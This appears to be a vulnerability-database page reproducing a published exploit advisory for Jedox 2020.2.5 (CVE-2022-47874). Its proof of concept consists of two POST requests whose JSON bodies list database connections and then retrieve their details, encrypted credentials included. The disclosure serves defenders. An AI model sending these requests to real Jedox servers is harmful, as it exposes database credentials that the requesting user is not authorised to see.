Lucene search
K

Jedox 2020.2.5 Database Credential Disclosure

🗓️ 05 May 2023 00:00:00Reported by Christoph Mahrl, Patrick Pirker, Michael Wedl, Aron MolnarType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 313 Views

Jedox 2020.2.5 Database Credential Disclosure via Improper Access Controls. Remote authenticated users can view database connection details through '/tc/rpc' by exploiting the vulnerability in 'com.jedox.etl.mngr.Connections' and 'getGlobalConnection' method

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Jedox 2022.4.2 - Code Execution via RPC Interfaces Vulnerability
5 May 202300:00
zdt
0day.today
Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls Vulnerability
5 May 202300:00
zdt
Circl
CVE-2022-47874
3 May 202300:30
circl
Circl
CVE-2022-47879
12 May 202318:27
circl
CNNVD
Jedox 安全漏洞
2 May 202300:00
cnnvd
CNNVD
Jedox 安全漏洞
5 May 202300:00
cnnvd
CVE
CVE-2022-47874
2 May 202300:00
cve
CVE
CVE-2022-47879
12 May 202300:00
cve
Cvelist
CVE-2022-47874
2 May 202300:00
cvelist
Cvelist
CVE-2022-47879
12 May 202300:00
cvelist
Rows per page
`# Exploit Title: Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls  
# Date: 28/04/2023  
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL  
# Vendor Homepage: https://jedox.com  
# Version: Jedox 2020.2 (20.2.5) and older  
# CVE : CVE-2022-47874  
  
  
Introduction  
=================  
Improper access controls in `/tc/rpc` allows remote authenticated users to view details of database connections via the class `com.jedox.etl.mngr.Connections` and the method `getGlobalConnection`. To exploit the vulnerability, the attacker must know the name of the database connection.  
  
  
Write-Up  
=================  
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.  
  
  
Proof of Concept  
=================  
1) List all available database connections via `conn::ls` (see also: CVE-2022-47879):  
  
PATH: /be/rpc.php  
METHOD: POST  
BODY:  
[  
[  
"conn",  
"ls",  
[  
null,  
false,  
true,  
[  
"type",  
"active",  
"description"  
]  
]  
]  
]  
  
2) Retrieve details of a database connection (specify connection name via CONNECTION) including encrypted credentials using the Java RPC function `com.jedox.etl.mngr.Connection::getGlobalConnection`:  
  
PATH: /tc/rpc  
METHOD: POST  
BODY:  
[  
[  
"com.jedox.etl.mngr.Connections",  
"getGlobalConnection",  
[  
"<CONNECTION>"  
]  
]  
]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation